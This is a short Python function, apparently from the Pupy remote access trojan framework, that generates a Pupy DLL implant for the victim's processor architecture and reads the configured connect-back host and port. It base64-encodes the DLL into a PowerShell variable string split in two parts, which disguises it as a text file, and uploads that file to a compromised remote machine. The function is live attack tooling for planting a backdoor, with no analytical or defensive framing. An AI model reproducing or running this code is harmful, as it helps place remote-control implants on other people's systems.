'Upload pupy dll as a txt file'

def uploadPupyDLL(self, force_x86_dll=False):

    res = self.module.client.conn.modules['pupy'].get_connect_back_host()
    (host, port) = res.rsplit(':', 1)
    logging.info(('Address    configured    is    %s:%s    for    pupy    dll...' % (host, port)))
    logging.info('Looking    for    process    architecture...')
    logging.info(('force    x86    is    %s' % force_x86_dll))
    conf = self.module.client.get_conf()
    if (('64' in self.module.client.desc['os_arch']) and (not force_x86_dll)):
        (dllbuff, tpl, _) = pupygen.generate_binary_from_template(conf, 'windows', arch='x64', shared=True)
    else:
        (dllbuff, tpl, _) = pupygen.generate_binary_from_template(conf, 'windows', arch='x86', shared=True)
    logging.info(('Creating    the    pupy    dll    (%s)    in    %s    locally' % (tpl, self.pupyDLLLocalPath)))
    with open(self.pupyDLLLocalPath, 'w+') as w:
        dllbuffEncoded = base64.b64encode(dllbuff)
        w.write('$p1="{0}";$p2="{1}";$PEBytes=[System.Convert]::FromBase64String($p1+$p2)'.format(dllbuffEncoded[0:2], dllbuffEncoded[2:]))
    logging.info('Uploading    pupy    dll    {0}    to    {1}'.format(self.pupyDLLLocalPath, self.pupyDLLRemotePath))
    upload(self.module.client.conn, self.pupyDLLLocalPath, self.pupyDLLRemotePath)
